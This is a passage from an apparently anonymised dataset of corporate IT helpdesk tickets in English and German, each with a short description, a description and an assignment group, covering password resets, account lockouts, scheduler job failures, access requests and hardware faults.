, is assigned to Assignment group: GRP\_14.Ticket with Short description: query : who is the owner of shared mailbox : k-mws-distributor-discounts, Description: query : who is the owner of shared mailbox : k-mws-distributor-discounts, is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset request., Description: password reset request., is assigned to Assignment group: GRP\_0.Ticket with Short description: bitte ewew8323718 konto wieder aktivieren, Description: bitte ewew8323718 konto wieder aktivieren, is assigned to Assignment group: GRP\_24.Ticket with Short description: engineering tool password reset., Description: engineering tool password reset., is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to change the password from password\_management\_tool, Description: unable to change the password from password\_management\_tool, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to log in to email, erp and collaboration\_platform, Description: unable to log in to email, erp and collaboration\_platform, is assigned to Assignment group: GRP\_0.Ticket with Short description: telefon asxpnlgk mnktdsjq (durchwahl 174) defekt., Description: display kaum noch lesbar. verbindung bei telefonaten wird mittendrin unterbrochen., is assigned to Assignment group: GRP\_42.Ticket with Short description: outlook access, Description: outlook will not connect when working from home office. , is assigned to Assignment group: GRP\_27.Ticket with Short description: job Job\_1314 failed in job\_scheduler at: 08/25/2016 08:15:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1314 failed in job\_scheduler at: 08/25/2016 08:15:00, is assigned to Assignment group: GRP\_60.Ticket with Short description: job Job\_1314 failed in job\_scheduler at: 08/25/2016 08:15:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1314 failed in job\_scheduler at: 08/25/2016 08:15:00, is assigned to Assignment group: GRP\_60.Ticket with Short description: unable to submit a discount form from collaboration\_platform, Description: unable to submit a discount form from collaboration\_platform, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1314 failed in job\_scheduler at: 08/25/2016 08:15:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1314 failed in job\_scheduler at: 08/25/2016 08:15:00, is assigned to Assignment group: GRP\_60.Ticket with Short description: job Job\_1314 failed in job\_scheduler at: 08/25/2016 08:15:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1314 failed in job\_scheduler at: 08/25/2016 08:15:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: wrong calculation in erp, Description: the rebate was not calculated correctly in the inwarehouse\_tools 0158493708 + 0158484133.\_x000D\_
it was too little rebate., is assigned to Assignment group: GRP\_13.Ticket with Short description: job Job\_2668 failed in job\_scheduler at: 08/25/2016 08:06:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2668 failed in job\_scheduler at: 08/25/2016 08:06:00, is assigned to Assignment group: GRP\_60.Ticket with Short description: job Job\_2668 failed in job\_scheduler at: 08/25/2016 08:06:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2668 failed in job\_scheduler at: 08/25/2016 08:06:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: please reset my password for hr\_tool globalview SID\_67, Description: please reset my password for hr\_tool globalview SID\_67, is assigned to Assignment group: GRP\_0.Ticket with Short description: need help to reset password., Description: need help to reset password., is assigned to Assignment group: GRP\_0.Ticket with Short description: can you help me reset password for microsoft lync please, Description: can you help me reset password for microsoft lync please, is assigned to Assignment group: GRP\_0.Ticket with Short description: the detail of earnings batch job is not sending the most current payroll info. , Description: i keep getting zearn report for 6/06/16 -6/19/19.\_x000D\_
e-mail title fw: job hr446, step 1\_x000D\_
how do i get the correct report. , is assigned to Assignment group: GRP\_52.Ticket with Short description: printer change from fd37 to fd34 , Description: \_x000D\_
\_x000D\_
received from: repyzajo.lxfwopyq@gmail.com\_x000D\_
\_x000D\_
hello help,\_x000D\_
\_x000D\_
as instructed by ecwtrjnq jpecxuty, please change permanently all default printing jobs/outputs on the erp printer fd37 to the printer fd34.\_x000D\_
also, please repeat all jobs sent to the printer fd37 between friday, august 19th until now on the new printer fd34.\_x000D\_
\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_5.Ticket with Short description: urgent - registration of infopath 2013, Description: \_x000D\_
\_x000D\_
received from: kuznvase.jrxtbuqz@gmail.com\_x000D\_
\_x000D\_
dear all,\_x000D\_
\_x000D\_
please urgently advise how to proceed with this.\_x000D\_
i am asked to review price discounts obviously managed by this ms tool:\_x000D\_
\_x000D\_
[cid:image001.png@01d1fed1.faf73520]\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to connect to hub, Description: unable to connect to hub, is assigned to Assignment group: GRP\_0.Ticket with Short description: folder access (s:\globalace\_holemaking\ha646), Description: please se my comments in red.\_x000D\_
\_x000D\_
viele grÃ¼ÃŸe / best , is assigned to Assignment group: GRP\_34.Ticket with Short description: blocked web pages, Description: \_x000D\_
\_x000D\_
received from: iygsxftl.hysrbgad@gmail.com\_x000D\_
\_x000D\_
dear all,\_x000D\_
\_x000D\_
please unblock web pages which i do urgently need to access for my technical research.\_x000D\_
\_x000D\_
e.g.:\_x000D\_
[cid:image001.png@01d1fec2.852ceec0]\_x000D\_
\_x000D\_
mit freundlichen grÃ¼ÃŸen / best , is assigned to Assignment group: GRP\_0.Ticket with Short description: cisco access point is not working., Description: cisco access point is not working.\_x000D\_
mac address : 1819db8e64, is assigned to Assignment group: GRP\_4.Ticket with Short description: profile setup for new joiner, Description: laptop and profile setup for new joiner nikitha upadhyaya/lqnoifve wvhelqxu , is assigned to Assignment group: GRP\_19.Ticket with Short description: need erp access to /n/dscsag/conv\_rule, Description: system (SID\_34, SID\_37, SID\_39, SID\_38, hrp, other ?): SID\_1 & SID\_34
enter user id of user having the issue: gthydanp
transaction code(s) the user needs or was working with: /n/dscsag/conv\_rule
describe the issue: need access to the t- code
if you are getting a "not authorized" message, recreate the condition then do /nsu53 and attach result to the ticketing\_tool ticket. attached
provide access the same as this other user :phillpd, is assigned to Assignment group: GRP\_2.Ticket with Short description: probleme mit erpgui \vsdtxwry ngkcdjye, Description: probleme mit erpgui \vsdtxwry ngkcdjye, is assigned to Assignment group: GRP\_24.Ticket with Short description: die suchfunktion des skype verzeichnisses funktioniert immer noch nicht., Description: die suchfunktion des skype verzeichnisses funktioniert immer noch nicht., is assigned to Assignment group: GRP\_0.Ticket with Short description: akku def. openstage sl4 bitte neuen besorgen - phone replacement (siemens), Description: akku def. openstage sl4 bitte neuen besorgen, is assigned to Assignment group: GRP\_33.Ticket with Short description: pls. check user:yubtgy1 account, Description:
received from: wktesmbp.lorjymef@gmail.com
dear team,
pls. help to check below user's account, which account has been locked for several times~ thx a lot!
user: yubtgy1
b.rgds
judthtihty.zhuyhts
company hardpoint apac-wgq dc
, is assigned to Assignment group: GRP\_0.Ticket with Short description: probleme mit weekly report und engineering\_tool angebotserstellung, Description:
received from: rkyjnbqh.kfshormi@gmail.com
hallo zusammen,
bitte um hilfe mit weekly report und engineering\_tool angebotserstellung.
bin heute bis 12uhr telefonisch erreichbar.
vielen dank,
gruÃŸ
[cid:image001.png@01d1febc.4451e6e0][cid:image003.jpg@01d1febc.9d05ba00]
rkyjnbqh kfshormi
b. eng.
anwendungstechnik i application engineer
rkyjnbqh.kfshormi@gmail.com
company deutschland gmbh
geschÃ¤ftsfÃ¼hrer: rfwlsoej yvtjzkaw, phvkowml azbtkqwx, naruedlk mpvhakdq
, is assigned to Assignment group: GRP\_0.Ticket with Short description: e&o access request for partner team, Description: \_x000D\_
\_x000D\_
received from: izwtdnfq.xptuoaid@gmail.com\_x000D\_
\_x000D\_
hi pradtheyp,\_x000D\_
\_x000D\_
partner team will support myself and jintana to run e&o report going forward. can you provide the access usaed to debaghjsish based on his email eonhuwlg.sxthcobm@gmail.com<mailto:eonhuwlg.sxthcobm@gmail.com> ?.\_x000D\_
\_x000D\_
below is the e&o access path required the access usaed to him.\_x000D\_
\_x000D\_
#/site/certified\_content/views/eoreport-finance/timegraphfilters?:iid=1\_x000D\_
\_x000D\_
let me know once done. appreciate if you provide the access preferably by sep 2, next friday.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_2.Ticket with Short description: qlhmawgi sgwipoxn mp\_fb locked., Description: qlhmawgi sgwipoxn mp\_fb locked., is assigned to Assignment group: GRP\_0.Ticket with Short description: skype anmeldung, Description: ich habe gestern Ã¼ber den passwortmanager mein passwort geÃ¤ndert. seitdem funktioniert die skype anmeldung nicht mehr. weder mit dem neuen, noch mit dem alten passwort. fehlermeldung: der benutzername, das kennwort oder die domÃ¤ne scheint falsch zu sein., is assigned to Assignment group: GRP\_0.Ticket with Short description: access for igurwxhv ughynofq to mailbox, Description: hi helpdesk, please give access to igurwxhv ughynofq from partner(outsouring company) to k-sg.inwarehouse\_tools@company.com\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: plm cache server logging issue, Description: as per attached email, we see an issue with cache server logging and also caching server working as well.\_x000D\_
please also look at the erp reply who raised questions on cache server accessibility., is assigned to Assignment group: GRP\_14.Ticket with Short description: conduct goods movement with erp transaction mb11 from plant\_205 to plant\_245, Description: from: iwazgesl ydgqtpbo [mailto:iwazgesl.ydgqtpbo@gmail.com] \_x000D\_
sent: thursday, august 25, 2016 12:08 pm\_x000D\_
to: nwfodmhc exurcwkm\_x000D\_
cc: nkiopevt gufwhdky\_eh\_x000D\_
subject: tru : goods movement mb11 from plant\_205 to plant\_245\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
\_x000D\_
could you please advise us how to conduct goods movement with erp transaction mb11 from plant\_205 to plant\_245? we are not able to do this.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_18.Ticket with Short description: password reset alert from o365, Description: password reset alert from o365, is assigned to Assignment group: GRP\_0.Ticket with Short description: user cwfzldts dlmukhyn cannot create purchasing requistions out of punch out catalogues, Description: now he get the right document type, but he has several other problems.:\_x000D\_
the wrong material group is shown (mendmre) istead of \_x000D\_
default should be c-select\_x000D\_
in accounting there should be "costcenter" as default, for him is order, and the gl account does not come up automatically. \_x000D\_
i've got the information that all requisitioners of this plant had the problems. i will get a mail for a colleague with the person who has solved this issue. i will add it as soon as i have the mail.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_29.Ticket with Short description: latitude e7350 does not properly boot up - i get a blue empty screen with no log on mask, Description: latitude e7350 does not properly boot up - i get a blue empty screen with no log on mask, is assigned to Assignment group: GRP\_28.Ticket with Short description: latitude 7275 does not boot up properly - got a blue empty screen - eagl8000055, Description: latitude 7275 does not boot up properly - got a blue empty screen - eagl8000055, is assigned to Assignment group: GRP\_28.Ticket with Short description: support fÃ¼r umbau \ we22 \ port 22 \niptbwdq csenjruz, Description: support fÃ¼r umbau \ we22 \ port 22 \niptbwdq csenjruz, is assigned to Assignment group: GRP\_24.Ticket with Short description: umbau rechner ewew8323542 \ port 21 \niptbwdq csenjruz, Description: umbau rechner ewew8323542 \ port 21 \niptbwdq csenjruz, is assigned to Assignment group: GRP\_24.Ticket with Short description: setup new ws \instandsetzung\ nfayqjhg kyswcpei, Description: setup new ws \instandsetzung\ nfayqjhg kyswcpei, is assigned to Assignment group: GRP\_24.Ticket with Short description: ms office /outlook issue, Description: ms office /outlook issue, is assigned to Assignment group: GRP\_0.Ticket with Short description: cannot use copy to option in engineering tool : getting error message., Description: cannot use copy to option in engineering tool : getting error message.\_x000D\_
it never worked for user.\_x000D\_
anticipating access issue., is assigned to Assignment group: GRP\_11.Ticket with Short description: support fÃ¼r umzug \qwynjdbk eamnvwyh, Description: support fÃ¼r umzug \qwynjdbk eamnvwyh, is assigned to Assignment group: GRP\_24.Ticket with Short description: circuit outage : traversecity : static-vpn-4331-rtr02 down since 8/25/2016 1:00 am est (site up on primary), Description: what type of outage: \_\_\_\_\_network \_\_\_x\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_\_\_yes\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_8/25/2016 1:00 am est\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_\_no\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_no\_\_\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_yes\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_na\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_na\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_na\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_yes\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: change of computer to user parrfgyksm - telephony\_software set up change, Description: please set up new computer changed to user parrfgyksm., is assigned to Assignment group: GRP\_7.Ticket with Short description: password reset alert from o365, Description: password reset alert from o365, is assigned to Assignment group: GRP\_0.Ticket with Short description: mp\_fb konto gesperrt, Description: keine anmeldung mÃ¶glich, is assigned to Assignment group: GRP\_0.Ticket with Short description: keine netzwerkverbindung, Description: eemw8144234 keine netzwerkverbindung kÃ¶nnen hergestellt werden, is assigned to Assignment group: GRP\_0.Ticket with Short description: email queries, Description: email queries, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 lock out issue and password reset , Description: erp SID\_34 lock out issue and password reset user id : bhergtyemm , is assigned to Assignment group: GRP\_0.Ticket with Short description: aw: please take this survey related to ticket\_no0433553, Description:
received from: tgpvrbyi.ztdxwpcn@gmail.com
sehr geehrter hr. souzarft,
noch immer kein zugriff.
freundliche grÃ¼ÃŸe/ best , is assigned to Assignment group: GRP\_0.Ticket with Short description: can't copy/save pdf of drawing from business\_client, Description: application used to work till aug 23. user was able to copy / save pdf from business\_client. since aug 24th user wasn't able anymore. , is assigned to Assignment group: GRP\_0.Ticket with Short description: kein zugriff auf server mÃ¶glich!, Description: meldung: fehler bei der erneuten verbindungsherstellung von ...: mit \\HostName\_579\....., is assigned to Assignment group: GRP\_12.Ticket with Short description: authorization add/delete members, Description: \_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to open outlook client, Description: unable to open outlook client, is assigned to Assignment group: GRP\_19.Ticket with Short description: aw: please take this survey related to ticket\_no0433617, Description:
received from: efjzbtcm.mdpviqbf@gmail.com
nein funktioniert noch nicht
efjzbtcm mdpviqbf
company productions gmbh & co. kg
versand/logistik/ff-wear
email: efjzbtcm.mdpviqbf@gmail.com<mailto:efjzbtcm.mdpviqbf@gmail.com>
company produktions gmbh & co. kg
geschÃ¤ftsfÃ¼hrer: phvkowml azbtkqwx, naruedlk mpvhakdq
von: global it ticketing\_tool [mailto:company@ticketing\_tool.com]
gesendet: mittwoch, 24. august 2016 22:02
an: efjzbtcm mdpviqbf
betreff: please take this survey related to ticket\_no1544728
please do not reply to or forward this email. use ticketing\_tool to open a new ticket.
we value your input. please help us by taking the time to fill out this short survey.
click here to take the survey<
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_
number: ticket\_no1544728
resolved by: olckhmvx pcqobjnd
short description: beim Ã¶ffnen oder speichern kommt immer wieder eine meldung
click here to view: link<
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_
comments:
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_
08-24-2016 16:00:58 edt - olckhmvx pcqobjndadditional comments
hallo frau maier,
bitte probieren sie jetzt und geben sie bescheid ob sie zugriff haben oder nicht.
mfg,
dan
gso, is assigned to Assignment group: GRP\_0.Ticket with Short description: collaboration\_platform for business not sync, Description: \_x000D\_
\_x000D\_
received from: eylqgodm.ybqkwiam@gmail.com\_x000D\_
\_x000D\_
collaboration\_platform for business dose not take my credentials to sync\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: one user cannot receive e-mail from bank of amrice, cashpro online, Description: \_x000D\_
\_x000D\_
received from: uagqromi.sqgtkmci@gmail.com\_x000D\_
\_x000D\_
hi,\_x000D\_
\_x000D\_
shunshen.wanrtyg@company.com<mailto:shunshen.wanrtyg@company.com>\_x000D\_
\_x000D\_
cannot receive e-mail from bank of amrice, cashpro online. mr. wanrtyg is a partner member, but other partner staffs receive mails from bank. please resolve.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_10.Ticket with Short description: profile and email client setup, Description: ghkkytu,\_x000D\_
configure user login for below e-mail details, , is assigned to Assignment group: GRP\_19.Ticket with Short description: os reinstall, Description: os reinstall, is assigned to Assignment group: GRP\_19.Ticket with Short description: os installation , Description: reimage the laptop, is assigned to Assignment group: GRP\_19.Ticket with Short description: os installation, Description: os reinstallation on e6420 laptop., is assigned to Assignment group: GRP\_19.Ticket with Short description: abend batch job Job\_1967e, Description: job name: Job\_1967e abended., is assigned to Assignment group: GRP\_6.Ticket with Short description: inwarehouse\_tool not creating, Description: \_x000D\_
\_x000D\_
received from: uisewznr.ewtmkphs@gmail.com\_x000D\_
\_x000D\_
hi team,\_x000D\_
\_x000D\_
delivery # 9168077553 is not creating an inwarehouse\_tool and i cannot see any reason why it is not creating. can you please resolve this issue? , is assigned to Assignment group: GRP\_13.Ticket with Short description: help to change the windows password using password\_management\_tool password tool., Description: help to change the windows password using password\_management\_tool password tool.\_x000D\_
-connected to the user system using teamviewer.\_x000D\_
-help the user login to the password\_manager\_tool password tool and change the passwords.\_x000D\_
-help the user to sync the psswords to the company network.\_x000D\_
-caller confirmed that he was able to login.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: vip 2: login issue, Description: login issue\_x000D\_
-checked the user name in ad and unlocked the account.\_x000D\_
-advised the user to login and check.\_x000D\_
-caller confirmed that he was able to login.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: my global\_telecom\_1 two in one can't be connected. there is signal but "limited"., Description: name:lertfty zuothryrt
language:
browser:microsoft internet explorer
email:kirtyrghwc.ykjrbivs@gmail.com
customer number:
telephone:
summary:my global\_telecom\_1 two in one can't be connected. there is signal but "limited"., is assigned to Assignment group: GRP\_0.Ticket with Short description: folder access to \\HostName\_717\teams\kvp3-projekte, Description: permission: write and read\_x000D\_
\_x000D\_
location: germany, is assigned to Assignment group: GRP\_34.Ticket with Short description: mii password reset for wiggrtgyis, Description: mii password reset for wiggrtgyis, is assigned to Assignment group: GRP\_0.Ticket with Short description: HostName\_1010(erp search\_server server): erpstartsrv.exe service is down , Description: HostName\_1010(erp search\_server server): erpstartsrv.exe service is down , is assigned to Assignment group: GRP\_14.Ticket with Short description: vtykrubi whsipqno's title, Description:
received from: hkrecpfv.kgwpbexv@gmail.com
good afternoon. i noticed that rtgyon's title is incorrect in skype. who can correct it? he is not chairman of company, just president and ceo.
[cid:image001.png@01d1fe24.eaf9c410]
, is assigned to Assignment group: GRP\_0.Ticket with Short description: what is this trailing mail?, Description: what is this trailing mail?, is assigned to Assignment group: GRP\_0.Ticket with Short description: i'm using collaboration\_platform in crm. why are all my collaboration\_platform notebooks shared with +20 people i don't know and dind't share my noteb, Description: all my collaboration\_platform notebooks are shared with +20 people i don't know. i did not share my notebook with them and i cannot remove their shared status ! how is this possible???, is assigned to Assignment group: GRP\_0.Ticket with Short description: error on erp, Description: error on erp, is assigned to Assignment group: GRP\_0.Ticket with Short description: ess password reset, Description: ess password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: need to see all unread emails, Description: need to see all unread emails, is assigned to Assignment group: GRP\_0.Ticket with Short description: do not have access to bobj, Description: do not have access to bobj, is assigned to Assignment group: GRP\_9.Ticket with Short description: multiple pages print while printing single email., Description: multiple pages print while printing single email.
-checked the driver settings and updated the printer drivers.
-abl eto print single word, excel, pdf documents.
-when the user tries to print any email from the outlook, it shows multiple pages.
-see attachment===
=231
, is assigned to Assignment group: GRP\_3.Ticket with Short description: how to delay email sending?, Description: \_x000D\_
\_x000D\_
received from: iygsxftl.hysrbgad@gmail.com\_x000D\_
\_x000D\_
dear all,\_x000D\_
\_x000D\_
please can you explain how to delay email sending? this was possible with my earlier outlook version.\_x000D\_
\_x000D\_
[cid:image005.jpg@01d1fe48.23ed4df0]\_x000D\_
\_x000D\_
with my current version 'outlook 2013' the delayed sending does not work if my computer and outlook are shut down. email will be sent only when i will restart outlook.\_x000D\_
\_x000D\_
[cid:image006.jpg@01d1fe48.23ed4df0]\_x000D\_
\_x000D\_
is there any chance to fix this?\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: add role to access e-recruit, Description: hi,
please also add (er:rcf\_recruiter) role to imzctxhr odmawbij and jusfrttin gtehdnyuerrf also.
, is assigned to Assignment group: GRP\_2.Ticket with Short description: skype login issue, Description:
received from: crkdjbot.qiztrxne@gmail.com
helloâ€¦ i have been unable to sign into skype for several days.
[cid:image001.png@01d1fe15.30402581]
best,
debgrtybie savgrtyuille
sr. corporate paralegal
crkdjbot.qiztrxne@gmail.com<mailto:crkdjbot.qiztrxne@gmail.com>
, is assigned to Assignment group: GRP\_0.Ticket with Short description: HostName\_184: volume: /dev/software on server: HostName\_184 is over 85% space consumed.remaining only 15%, Description: HostName\_184: volume: /dev/software on server: HostName\_184 is over 85% space consumed.remaining only 15%, is assigned to Assignment group: GRP\_47.Ticket with Short description: HostName\_1132:oracle finance\_app financial management - web tier/ java server (epmsystem2) - service monitor, Description: HostName\_1132:oracle finance\_app financial management - web tier (epmsystem2) - service monitor(down)\_x000D\_
HostName\_1132:oracle finance\_app financial management - java server (epmsystem2) - service monitor, is assigned to Assignment group: GRP\_12.Ticket with Short description: a link on an e-mail says i am "forbidden", Description: an e-mail from it training has email hints and tips #1. under "create signature" it has a link "company formatheywting standard" that i am forbidden to see.
615, is assigned to Assignment group: GRP\_70.Ticket with Short description: there were 3 undeliverable e-mails returned with a ethics e-mail request., Description: there were 3 undeliverable e-mails returned with a ethics e-mail request.\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
there were 3 undeliverable e-mails returned with a ethics e-mail request.\_x000D\_
\_x000D\_
please advise.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp round off on total, Description: we entered so 35941677, total of order should be $1,150.50 but erp is rounding it off to $1,151.70 it is creating a 20 cent difference. this order is one of few and is causing quite a bit of re-invoicing and payment rejections. , is assigned to Assignment group: GRP\_13.Ticket with Short description: scrap reason code (two issues), Description: two issues:\_x000D\_
1. mii asks for a reason code when scrap quantity is entered as zero. most operator put zero to be sure that they're not entering any scrap. intended behavior is that if scrap field is blank or has zero, system shouldn't ask for scrap reason code\_x000D\_
2. if we enter invalid reason code, the save button is disabled after warning message - so operator can't fix invalid data but has to close the confirmation window, type information again and then enter - can we fix this? , is assigned to Assignment group: GRP\_41.Ticket with Short description: instalaÃ§Ã£o guardiÃ£o (banco hsbc), Description: gentileza, instalar o guardiÃ£o do banco hsbc para utilizaÃ§Ã£o de transaÃ§Ãµes pela internet., is assigned to Assignment group: GRP\_62.Ticket with Short description: user called to know if there was an outage in usa, Description: user called to know if there was an outage in usa, is assigned to Assignment group: GRP\_0.Ticket with Short description: job jobuacyltoe hxgaycze failed in job\_scheduler at: 08/24/2016 13:01:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job jobuacyltoe hxgaycze failed in job\_scheduler at: 08/24/2016 13:01:00, is assigned to Assignment group: GRP\_60.Ticket with Short description: job jobuacyltoe hxgaycze failed in job\_scheduler at: 08/24/2016 12:56:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job jobuacyltoe hxgaycze failed in job\_scheduler at: 08/24/2016 12:56:00, is assigned to Assignment group: GRP\_60.Ticket with Short description: job HostName\_1019failagain\_1 failed in job\_scheduler at: 08/24/2016 12:56:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job HostName\_1019failagain\_1 failed in job\_scheduler at: 08/24/2016 12:56:00, is assigned to Assignment group: GRP\_60.Ticket with Short description: svc-now ticket found... doing nothing , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
svc-now ticket found... doing nothing, is assigned to Assignment group: GRP\_60.Ticket with Short description: svc-now ticket found... doing nothing , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
svc-now ticket found... doing nothing, is assigned to Assignment group: GRP\_60.Ticket with Short description: svc-now ticket found... doing nothing , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
svc-now ticket found... doing nothing, is assigned to Assignment group: GRP\_60.Ticket with Short description: unlocked all accounts on password manager , Description: unlocked all accounts on password manager , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to open originals from engineering tool, Description: when opening originals from engineering tool, below error occurs.\_x000D\_
\_x000D\_
process: \_x000D\_
fetch originals from erp system.\_x000D\_
\_x000D\_
[jco3 - error], is assigned to Assignment group: GRP\_11.Ticket with Short description: cannot get access to email, Description: same issue as yesterday, it called and fixed the issue, but back to work today and still cannot get into email, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to log in to netweaver, Description: unable to log in to netweaver, is assigned to Assignment group: GRP\_0.Ticket with Short description: request to reset microsoft online services password for jcsmxrgl.ibhsnket@gmail.com, Description: request to reset microsoft online services password for jcsmxrgl.ibhsnket@gmail.com, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update on ticket\_no0409509, Description: ticket update on ticket\_no0409509, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update on inplant\_853640, Description: ticket update on inplant\_853640, is assigned to Assignment group: GRP\_0.Ticket with Short description: reset the password for igkqpndy swqndxhl on other / telephony\_software, Description: hello,\_x000D\_
\_x000D\_
please reset password for user duffym, as she has forgotten it and therefore cannot log into her interaction desktop. please provide magdalena with the new password.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_7.Ticket with Short description: ticket update inplant\_853261, Description: ticket update inplant\_853261, is assigned to Assignment group: GRP\_0.Ticket with Short description: request to reset microsoft online services password for rovsabyl.idpvbjtw@gmail.com, Description: request to reset microsoft online services password for rovsabyl.idpvbjtw@gmail.com, is assigned to Assignment group: GRP\_0.Ticket with Short description: we are currently unable to post inwarehouse\_tool doc. # 6223592434 for po 5616473800. please advice how to proceed., Description: we are currently unable to post inwarehouse\_tool doc. # 6223592434 for po 5616473800. please advice how to proceed., is assigned to Assignment group: GRP\_10.Ticket with Short description: job HostName\_1019failagain failed in job\_scheduler at: 08/24/2016 11:05:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job HostName\_1019failagain failed in job\_scheduler at: 08/24/2016 11:05:00, is assigned to Assignment group: GRP\_60.Ticket with Short description: job HostName\_1019fail failed in job\_scheduler at: 08/24/2016 11:02:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job HostName\_1019fail failed in job\_scheduler at: 08/24/2016 11:02:00, is assigned to Assignment group: GRP\_60.Ticket with Short description: ticket update on ticket\_no0433651, Description: ticket update on ticket\_no0433651, is assigned to Assignment group: GRP\_0.Ticket with Short description: mailbox configuration , Description:
received from: sylvthryia.sidor@company.com
good afternoon,
i am writing to ask about a few things regarding my new mailbox.
1. the name in the email address (sylvthryia) is incorrect; can it be amended to sylvthryia (with w)?
2. is it possible to change my password? i tried to do this online in the application, but it states that it is impossible.
3. i would like to be able to access my mailbox using software (ms office 2013). if it is possible, what would be the configuration data to be used?
4. i would like to update my signature. could you please advise where this can be done?
, is assigned to Assignment group: GRP\_0.Ticket with Short description: user unable to log onto ticketing\_tool!, Description:
received from: kxsceyzo.naokumlb@gmail.com
userid: hntubjela
name nivqoxyt ivrhjmnx
user is unable to create ticketing\_tool tickets!
, is assigned to Assignment group: GRP\_0.Ticket with Short description: tool repoter, Description: from: nwfodmhc exurcwkm
sent: wednesday, august 24, 2016 8:17 pm
to: 'srujan enterprises'; nwfodmhc exurcwkm
cc: avsbdhyu sahryu; sihtvocw yspnqxgw
subject: re: engineering tool
hi
please go through the attachment and configure accordingly.
please contact us back if you still face any issue.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: job HostName\_1019fail failed in job\_scheduler at: 08/24/2016 10:46:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job HostName\_1019fail failed in job\_scheduler at: 08/24/2016 10:46:00, is assigned to Assignment group: GRP\_60.Ticket with Short description: computer lrrw8514654 - us\_plant location252, Description:
received from: dpuifqeo.eglwsfkn@gmail.com
user â€“ bghrbie crhyley â€“ has this issue:
excel isn't working properly. it keeps going to not responding.
i have restarted several times to correct that. now if i work on a spreadsheet,
